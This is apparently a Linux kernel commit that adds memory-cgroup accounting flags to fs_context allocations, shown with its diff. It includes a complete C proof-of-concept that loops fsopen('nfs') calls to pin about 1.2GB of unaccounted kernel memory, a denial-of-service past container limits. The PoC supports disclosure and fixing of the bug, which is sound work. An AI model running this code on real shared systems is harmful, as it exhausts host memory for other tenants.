This patch adds accounting flags to fs_context and legacy_fs_context
allocation sites so that kernel could correctly charge these objects.
We have written a PoC to demonstrate the effect of the missing-charging
bugs. The PoC takes around 1,200MB unaccounted memory, while it is
charged for only 362MB memory usage. We evaluate the PoC on QEMU x86_64
v5.2.90 + Linux kernel v5.10.19 + Debian buster. All the limitations
including ulimits and sysctl variables are set as default. Specifically,
the hard NOFILE limit and nr_open in sysctl are both 1,048,576.
/*------------------------- POC code ----------------------------*/
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/file.h>
#include <time.h>
#include <sys/wait.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <signal.h>
#include <sched.h>
#include <fcntl.h>
#include <linux/mount.h>
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
} while (0)
#define STACK_SIZE (8 * 1024)
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
static inline int fsopen(const char *fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}
static char thread_stack[512][STACK_SIZE];
int thread_fn(void* arg)
{
for (int i = 0; i< 800000; ++i) {
int fsfd = fsopen("nfs", FSOPEN_CLOEXEC);
if (fsfd == -1) {
errExit("fsopen");
}
}
while(1);
return 0;
}
int main(int argc, char *argv[]) {
int thread_pid;
for (int i = 0; i < 1; ++i) {
thread_pid = clone(thread_fn, thread_stack[i] + STACK_SIZE, \
SIGCHLD, NULL);
}
while(1);
return 0;
}
/*-------------------------- end --------------------------------*/
Link: https://lkml.kernel.org/r/1626517201-24086-1-git-send-email-nglaive@gmail.com
Signed-off-by: Yutian Yang <nglaive@gmail.com>
Reviewed-by: Shakeel Butt <shakeelb@google.com>
Cc: Michal Hocko <mhocko@kernel.org>
Cc: Johannes Weiner <hannes@cmpxchg.org>
Cc: Vladimir Davydov <vdavydov.dev@gmail.com>
Cc: <shenwenbo@zju.edu.cn>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
struct fs_context *fc;
int ret = -ENOMEM;
- fc = kzalloc(sizeof(struct fs_context), GFP_KERNEL);
+ fc = kzalloc(sizeof(struct fs_context), GFP_KERNEL_ACCOUNT);
if (!fc)
return ERR_PTR(-ENOMEM);
*/
static int legacy_init_fs_context(struct fs_context *fc)
{
- fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL);
+ fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL_ACCOUNT);
if (!fc->fs_private)
return -ENOMEM;
fc->ops = &legacy_fs_context_ops;